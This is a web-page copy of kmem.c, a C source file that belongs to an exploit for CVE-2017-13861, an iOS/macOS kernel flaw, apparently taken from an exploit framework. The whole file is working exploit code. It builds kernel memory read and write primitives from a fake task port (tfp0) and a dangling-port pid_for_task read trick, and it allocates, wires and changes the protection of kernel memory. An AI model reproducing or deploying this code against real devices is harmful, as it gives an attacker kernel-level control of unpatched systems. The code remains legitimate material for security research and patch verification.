Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/kmem.c
Views: 11777
#include <mach/mach.h>1#include <stdio.h>2#include <stdlib.h>3#include <unistd.h>45#include "kmem.h"6#include "kutils.h"7#include "common.h"89#include <CoreFoundation/CoreFoundation.h>10extern void NSLog(CFStringRef, ...);11#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)1213// the exploit bootstraps the full kernel memory read/write with a fake14// task which just allows reading via the bsd_info->pid trick15// this first port is kmem_read_port16mach_port_t kmem_read_port = MACH_PORT_NULL;17void prepare_rk_via_kmem_read_port(mach_port_t port)18{19kmem_read_port = port;20}2122mach_port_t tfp0 = MACH_PORT_NULL;23void prepare_rwk_via_tfp0(mach_port_t port)24{25tfp0 = port;26}2728void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0)29{30tfp0 = fake_tfp0;31}3233bool have_kmem_read()34{35return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);36}3738bool have_kmem_write()39{40return (tfp0 != MACH_PORT_NULL);41}4243size_t kread(uint64_t where, void* p, size_t size)44{45int rv;46size_t offset = 0;47while (offset < size) {48mach_vm_size_t sz, chunk = 2048;49if (chunk > size - offset) {50chunk = size - offset;51}52rv = mach_vm_read_overwrite(tfp0,53where + offset,54chunk,55(mach_vm_address_t)p + offset,56&sz);57if (rv || sz == 0) {58LOG("error reading kernel @%p", (void*)(offset + where));59break;60}61offset += sz;62}63return offset;64}6566size_t kwrite(uint64_t where, const void* p, size_t size)67{68int rv;69size_t offset = 0;70while (offset < size) {71size_t chunk = 2048;72if (chunk > size - offset) {73chunk = size - offset;74}75rv = mach_vm_write(tfp0,76where + offset,77(mach_vm_offset_t)p + offset,78(mach_msg_type_number_t)chunk);79if (rv) {80LOG("error writing kernel @%p", (void*)(offset + where));81break;82}83offset += chunk;84}85return offset;86}8788bool wkbuffer(uint64_t kaddr, void* buffer, size_t length)89{90if (tfp0 == MACH_PORT_NULL) {91LOG("attempt to write to kernel memory before any kernel memory write primitives available");92sleep(3);93return false;94}9596return (kwrite(kaddr, buffer, length) == length);97}9899bool rkbuffer(uint64_t kaddr, void* buffer, size_t length)100{101return (kread(kaddr, buffer, length) == length);102}103104void WriteKernel32(uint64_t kaddr, uint32_t val)105{106if (tfp0 == MACH_PORT_NULL) {107LOG("attempt to write to kernel memory before any kernel memory write primitives available");108sleep(3);109return;110}111wkbuffer(kaddr, &val, sizeof(val));112}113114void WriteKernel64(uint64_t kaddr, uint64_t val)115{116if (tfp0 == MACH_PORT_NULL) {117LOG("attempt to write to kernel memory before any kernel memory write primitives available");118sleep(3);119return;120}121wkbuffer(kaddr, &val, sizeof(val));122}123124uint32_t rk32_via_kmem_read_port(uint64_t kaddr)125{126kern_return_t err;127if (kmem_read_port == MACH_PORT_NULL) {128LOG("kmem_read_port not set, have you called prepare_rk?");129sleep(10);130exit(EXIT_FAILURE);131}132133mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;134err = mach_port_set_context(mach_task_self(), kmem_read_port, context);135if (err != KERN_SUCCESS) {136LOG("error setting context off of dangling port: %x %s", err, mach_error_string(err));137sleep(10);138exit(EXIT_FAILURE);139}140141// now do the read:142uint32_t val = 0;143err = pid_for_task(kmem_read_port, (int*)&val);144if (err != KERN_SUCCESS) {145LOG("error calling pid_for_task %x %s", err, mach_error_string(err));146sleep(10);147exit(EXIT_FAILURE);148}149150return val;151}152153uint32_t rk32_via_tfp0(uint64_t kaddr)154{155uint32_t val = 0;156rkbuffer(kaddr, &val, sizeof(val));157return val;158}159160uint64_t rk64_via_kmem_read_port(uint64_t kaddr)161{162uint64_t lower = rk32_via_kmem_read_port(kaddr);163uint64_t higher = rk32_via_kmem_read_port(kaddr + 4);164uint64_t full = ((higher << 32) | lower);165return full;166}167168uint64_t rk64_via_tfp0(uint64_t kaddr)169{170uint64_t val = 0;171rkbuffer(kaddr, &val, sizeof(val));172return val;173}174175uint32_t ReadKernel32(uint64_t kaddr)176{177if (tfp0 != MACH_PORT_NULL) {178return rk32_via_tfp0(kaddr);179}180181if (kmem_read_port != MACH_PORT_NULL) {182return rk32_via_kmem_read_port(kaddr);183}184185LOG("attempt to read kernel memory but no kernel memory read primitives available");186sleep(3);187188return 0;189}190191uint64_t ReadKernel64(uint64_t kaddr)192{193if (tfp0 != MACH_PORT_NULL) {194return rk64_via_tfp0(kaddr);195}196197if (kmem_read_port != MACH_PORT_NULL) {198return rk64_via_kmem_read_port(kaddr);199}200201LOG("attempt to read kernel memory but no kernel memory read primitives available");202sleep(3);203204return 0;205}206207const uint64_t kernel_addr_space_base = 0xffff000000000000;208void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)209{210if (dest >= kernel_addr_space_base) {211// copy to kernel:212wkbuffer(dest, (void*)src, length);213} else {214// copy from kernel215rkbuffer(src, (void*)dest, length);216}217}218219uint64_t kmem_alloc(uint64_t size)220{221if (tfp0 == MACH_PORT_NULL) {222LOG("attempt to allocate kernel memory before any kernel memory write primitives available");223sleep(3);224return 0;225}226227kern_return_t err;228mach_vm_address_t addr = 0;229mach_vm_size_t ksize = round_page_kernel(size);230err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);231if (err != KERN_SUCCESS) {232LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);233sleep(3);234return 0;235}236return addr;237}238239uint64_t kmem_alloc_wired(uint64_t size)240{241if (tfp0 == MACH_PORT_NULL) {242LOG("attempt to allocate kernel memory before any kernel memory write primitives available");243sleep(3);244return 0;245}246247kern_return_t err;248mach_vm_address_t addr = 0;249mach_vm_size_t ksize = round_page_kernel(size);250251LOG("vm_kernel_page_size: %lx", vm_kernel_page_size);252253err = mach_vm_allocate(tfp0, &addr, ksize + 0x4000, VM_FLAGS_ANYWHERE);254if (err != KERN_SUCCESS) {255LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);256sleep(3);257return 0;258}259260LOG("allocated address: %llx", addr);261262addr += 0x3fff;263addr &= ~0x3fffull;264265LOG("address to wire: %llx", addr);266267err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);268if (err != KERN_SUCCESS) {269LOG("unable to wire kernel memory via tfp0: %s %x", mach_error_string(err), err);270sleep(3);271return 0;272}273return addr;274}275276void kmem_free(uint64_t kaddr, uint64_t size)277{278if (tfp0 == MACH_PORT_NULL) {279LOG("attempt to deallocate kernel memory before any kernel memory write primitives available");280sleep(3);281return;282}283284kern_return_t err;285mach_vm_size_t ksize = round_page_kernel(size);286err = mach_vm_deallocate(tfp0, kaddr, ksize);287if (err != KERN_SUCCESS) {288LOG("unable to deallocate kernel memory via tfp0: %s %x", mach_error_string(err), err);289sleep(3);290return;291}292}293294void kmem_protect(uint64_t kaddr, uint32_t size, int prot)295{296if (tfp0 == MACH_PORT_NULL) {297LOG("attempt to change protection of kernel memory before any kernel memory write primitives available");298sleep(3);299return;300}301kern_return_t err;302err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);303if (err != KERN_SUCCESS) {304LOG("unable to change protection of kernel memory via tfp0: %s %x", mach_error_string(err), err);305sleep(3);306return;307}308}309310311